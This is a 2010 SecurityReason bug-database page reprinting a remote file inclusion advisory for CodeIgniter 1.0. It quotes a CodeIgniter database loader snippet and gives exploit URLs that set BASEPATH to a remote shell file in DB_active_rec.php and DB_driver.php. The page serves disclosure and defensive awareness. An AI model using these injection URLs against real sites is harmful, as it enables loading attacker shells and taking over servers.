SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow World Laboratory of Bugtraq Database

Arrow  Topic :

CodeIgniter 1.0 remote file inclusion


Arrow  WLB : WLB-2010020082  (About)
Arrow  SecurityAlert : None
Arrow  Date : 2010-02-16
Arrow  Credit          : eidelweiss
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote : Yes
Arrow  Local     : No
Arrow  Status   : Bug

Arrow  History : [2010-02-16] Started

Arrow  Affected software :  CodeIgniter version 1.0



Arrow  Text :  

###########################################################
### #
### CodeIgniter v1.0 Remote File Inclusion Vulnerability #
### #
###########################################################
###
### * @package CodeIgniter
### * @Version 1.0
### * @license http://codeigniter.com/user_guide/license.html
### * @link http://codeigniter.com
###
###########################################################
###
### Type : Remote File Inclusion Vulnerability
### Author: eidelweiss
### Date : 2010-02-13
### Location: Indonesia ( http://yogyacarderlink.web.id )
### Contact: g1xsystem [at] windowslive [dot] com
### Greetz : AL-MARHUM - YOGYACARDERLINK TEAM - (D)eal (C)yber
###
###########################################################

POC:
require_once(BASEPATH.'database/DB_driver'.EXT);

if ( ! isset($active_record) OR $active_record == TRUE)
{
require_once(BASEPATH.'database/DB_active_rec'.EXT);

if ( ! class_exists('CI_DB'))
{
eval('class CI_DB extends CI_DB_active_record { }');
}
}
else
{
if ( ! class_exists('CI_DB'))
{
eval('class CI_DB extends CI_DB_driver { }');
}
}

require_once(BASEPATH.'database/drivers/'.$params['dbdriver'].'/'.$params['
dbdriver'].'_driver'.EXT);

// Instantiate the DB adapter
$driver = 'CI_DB_'.$params['dbdriver'].'_driver';
$DB =& instantiate_class(new $driver($params));

if ($DB->autoinit == TRUE)
{
$DB->initialize();
}

return $DB;
}

###########################################################
### Exploit: /system/database/DB_active_rec.php?BASEPATH=[Shell.txt?]
### /system/database/DB_driver.php?BASEPATH=[Shell.txt?]
###########################################################


Audyt bezpieczeństwa

Security Audit

Analiza powłamaniowa

Arrow  References :  

None

If you want change this note, please use UCP



Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

Copyright © SecurityReason.com. All Rights Reserved.